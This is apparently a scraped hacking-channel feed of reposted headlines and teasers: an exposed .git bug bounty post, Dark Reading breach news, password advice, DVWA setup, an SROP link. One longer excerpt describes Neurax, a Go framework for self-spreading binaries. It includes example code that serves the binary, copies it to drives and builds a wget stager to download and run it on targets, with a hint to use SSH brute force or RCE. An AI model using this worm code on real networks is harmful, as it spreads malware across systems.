git Exposed
https://leonardoprudenci.medium.com/git-exposed-7edb5fdd532?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Olá, recentemente encontrei uma pasta .git exposta em um programa de Bug Bounty público, e gostaria de mostrar como você consegue explorar…Continue reading on Medium » (https://leonardoprudenci.medium.com/git-exposed-7edb5fdd532?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
JBS CEO Says Company Paid $11M in Ransom

The decision to pay attackers was a difficult one, CEO Andre Nogueira said in a statement.

Dark Reading: Attacks/Breaches
Healthcare Device Security Firm COO Charged with Hacking Medical Center

Vikas Singla, chief operating officer of security firm that provides products and services to the healthcare industry, faces charges surrounding a cyberattack he allegedly conducted against Duluth, Ga.-based Gwinnett Medial Center.

Dark Reading: Attacks/Breaches
'Fancy Lazarus' Criminal Group Launches DDoS Extortion Campaign

The group has re-emerged after a brief hiatus with a new email campaign threatening a DDoS attack against businesses that don't pay ransom.

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
How to choose a password that’s hard to crack

https://cdn-images-1.medium.com/max/2000/1*jsPwwpussCPUTJ14XR0dgw.jpeg
No, “company name + 123” probably isn’t the best password

Continue reading on Geek Culture »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
git Exposed

https://cdn-images-1.medium.com/max/600/1*XKk7ouV5C4QxbBIPhKTthg.jpeg
Olá, recentemente encontrei uma pasta .git exposta em um programa de Bug Bounty público, e gostaria de mostrar como você consegue explorar…

Continue reading on Medium »

Hacking on Medium
Installing the DVWA to try hacking on

https://cdn-images-1.medium.com/max/1920/1*GnDX6KO1W2lNdSEG0QaBlg.png
Introduction

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Ethernet no está muerto: hasta 400Gbps a través de fibra.

https://cdn-images-1.medium.com/max/1192/0*bgYsvWodfGfO6SOI
PUBLICADO EN 10 JUNIO, 2021POR EHACKING

Continue reading on Medium »

KitPloit - PenTest Tools!
Neurax - A Framework For Constructing Self-Spreading Binaries

https://1.bp.blogspot.com/-V8i4IVrC9q0/YL1vJ805J0I/AAAAAAAAZ80/EYeeOBnjiSQypvcsXxdj4TMvdl9BGRh1wCNcBGAsYHQ/w640-h76/Neurax_1_neurax.png A framework that aids in creation of self-spreading software Requirementsgo get -u github.com/redcode-labs/Coldfirego get -u github.com/yelinaung/go-haikunatorNew in v. 2.0* New wordlist mutators + common passwords by country
* Improvised passive scanning
* .FastScanoption that makes active scans a bit quicker
* Wordlists are created strictly in-memory
* NeuraxScan()accepts a callback function instead of channel as an argument.
* NeuraxScan()scans in infinite loop with possibility to set interval between each scan of whole subnet/pool of targets
* Reverse-DNS lookup for targets that are not in IP format
* Extraction of target candidates from ARP cache
* Possibility to scan only a selected list of targets + prioritizing specific targets (such as default gateways)
* Possibility to specify interface and timeout when using passive network scan.
* Improved command stager (can be optionally executed with elevated privilleges / multiple times)
* Few changes of options' names
* NeuraxConfig.became N.(cause it's shorter to type)
* Functions for random memory allocation + binary migration
* Possibility to chain multiple stagers (ex. wget+ curl)
* Volume and complexity of created wordlist can be easily tuned (with options such as .WordlistExpand)
* Possibility to set time-to-live of created binary UsageWith help of Neurax, Golang binaries can spread on local network without using any external servers.

Diverse config options and command stagers allow rapid propagation across various wireless environments. Example code*/ } ">package main
import . "github.com/redcode-labs/Neurax"

func main(){

//Specify serving port and stager to use
N.Port = 5555
N.Stager = "wget"

//Start a server that exposes the current binary in the background
go NeuraxServer()

//Copy current binary to all logical drives
NeuraxDisks()

//Create a command stager that should be launched on target machine
//It will download, decode and execute the binary
cmd_stager := NeuraxStager()

/* Now you have to somehow execute the command generated above.
You can use SSH bruteforce, some RCE or whatever else you want ;> */

} List of config entriesName Description Default value N.Stager Name of the command stager to use random, platform-compatibleN.StagerSudo If true, Linux cmd stagers are executed with elevated privilleges falseN.StagerRetry Number of times to re-execute the command stager 0N.Port Port to serve on 6741N.Platform Platform to target detected automaticallyN.Path The path under which binary is saved on the host randomN.FileName Name under which downloaded binary should be served and then saved randomN.Base64 Encode the transferred binary in base64 falseN.CommPort Port that is used by binaries to communicate with each other 7777N.CommProto Protocol for communication between nodes "udp"N.ReverseListener Contains "<host:<port"of remote reverse shell handler not specifiedN.ReverseProto Protocol to use for reverse connection "udp"N.ScanRequiredPort NeuraxScan() treats host as active only when it has a specific port opened noneN.ScanPassive NeuraxScan() detects hosts using passive ARP traffic monitoring falseN.ScanPassiveTimeout NeuraxScan() monitors ARP layer this amount of seconds 50 secondsN.ScanPassiveIface In[...]

KitPloit - PenTest Tools!
Neurax - A Framework For Constructing Self-Spreading Binaries

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Exploit a binary with SigReturn Oriented Programming (SROP)

submitted by /u/R4lphWiggum
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video